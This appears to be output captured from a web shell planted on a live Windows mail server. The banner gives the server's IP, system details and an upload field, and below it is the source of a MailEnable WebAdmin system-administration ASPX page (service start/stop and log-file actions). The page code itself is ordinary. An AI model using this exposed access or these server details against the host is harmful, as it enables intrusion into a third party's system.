| Server IP : 209.209.40.120 / Your IP : 216.73.217.112 Web Server : Microsoft-IIS/10.0 System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586 User : NEWWWW$ ( 0) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Program Files (x86)/Mail Enable/Bin/NETWebAdmin/Mondo/lang/sys/Forms/ |
Upload File : |
<%@ Page Language="vb" AutoEventWireup="false" MasterPageFile="~/Mondo/lang/sys/Controls/ListView.Master" CodeBehind="SystemAdmin.aspx.vb" Inherits="MailEnable.Clients.WebAdmin.SystemAdmin" %>
<%@ Register TagPrefix="uc2" TagName="uscLanguageTokenMondo" Src="../Controls/uscLanguageToken.ascx" %>
<asp:Content ID="CustomHeader" ContentPlaceHolderID="CustomHeader" runat="server">
<uc2:uscLanguageTokenMondo id="uscToken" runat="server"></uc2:uscLanguageTokenMondo>
<script type="text/javascript" language="javascript">
var g_opt={}; g_opt['ME_VALIDATIONTOKEN'] = '<%=Session.Item("ME_VALIDATIONTOKEN")%>'; //could be moved to masterpage
<%=jList.GetJSONList()%>
$(document).ready(function () {
jsonList_Init(<%=jList.Id%>);
BrowserResize();
});
function doAction_Service(oItem, oAction, selectedIndex)
{
getTopAppWindow().ShowWait(t_("[ME_TXT-Pleasewait]") + "...");
$.ajax({
url: getAppServletURL() + "?Cmd=SERVICE-ACTION&Key=" + oItem.ShortName + "&Action=" + oAction.id + "&ts=" + (new Date()).getTime() + '&ME_VALIDATIONTOKEN=' + getTopAppWindow().g_opt['ME_VALIDATIONTOKEN'],
dataType: "xml",
error: function() {
getTopAppWindow().HideWait();
alert("Error: Communication Error occurred");
},
success:function(result) {
if ($(result).find("STATUS").text() == '1')
{
switch (oAction.id)
{
case 'Stop':
jsonList.Items[selectedIndex].Status = 1;
break;
default:
jsonList.Items[selectedIndex].Status = 4;
}
var tr = $("#table-container tbody tr").eq(selectedIndex);
RenderRow(jsonList,tr,jsonList.Items[jsonList.selectedIndex]);
jsonList_ShowActions(jsonList,false);
}
else
{
alert("Error: Action could not be completed");
}
getTopAppWindow().HideWait();
}
});
}
function doAction_Requeue(oItem, oAction, selectedIndex)
{
alert('Not Implemented');
}
function doAction_Delete(oItem, oAction, selectedIndex)
{
alert('Not Implemented');
}
function doAction_SystemMessage(oItem, oAction, selectedIndex)
{
var sOutput = '';
$.each(jsonList.Headings, function(i, oHeading) {
sOutput += (oHeading.Label + ':') + GetColumnValue(oItem[oHeading.Property], oHeading.Type) + '\n';
});
alert(sOutput);
}
function doAction_LogFile(oItem, oAction, selectedIndex)
{
var sService = jsonList.Options.Action.split('-')[0];
var sFileName = oItem.Name;
var sPostoffice = oItem.Postoffice;
if (!sPostoffice)
{
sPostoffice = '';
}
window.location = getAppServletURL() + "?Cmd=GET-LOG-FILE&Service=" + sService + "&File=" + sFileName + '&Action=' + oAction.id + '&Postoffice=' + sPostoffice + '&ME_VALIDATIONTOKEN=' + getTopAppWindow().g_opt['ME_VALIDATIONTOKEN'];
}
function GetAvailableActions(oItem)
{
var arrActions = {};
if (oItem)
{
switch(oItem.Status)
{
case 4:
arrActions["Stop"] = 1;
arrActions["Start"] = 0;
arrActions["Restart"] = 1;
break;
default:
arrActions["Stop"] = 0;
arrActions["Start"] = 1;
arrActions["Restart"] = 0;
}
}
return arrActions;
}
function onMessageRender(item, sValue)
{
var sNewValue = sValue.split('\n')[0];
return sNewValue;
}
function onStatusRender(item, sValue)
{
switch(sValue)
{
case 1: return "Stopped";
case 4: return "Running";
default: return "Unknown:(" + sValue + ")";
}
}
function onSeverityRender(item, sValue)
{
switch(sValue)
{
case 1: return "Critical";
case 2: return "Warning";
default: return "Unknown:(" + sValue + ")";
}
}
</script>
</asp:Content>
<asp:Content ID="ListTitle" ContentPlaceHolderID="ListTitle" runat="server"><%=ViewTitle%></asp:Content>
<asp:Content ID="MainContent" ContentPlaceHolderID="MainContent" runat="server"></asp:Content>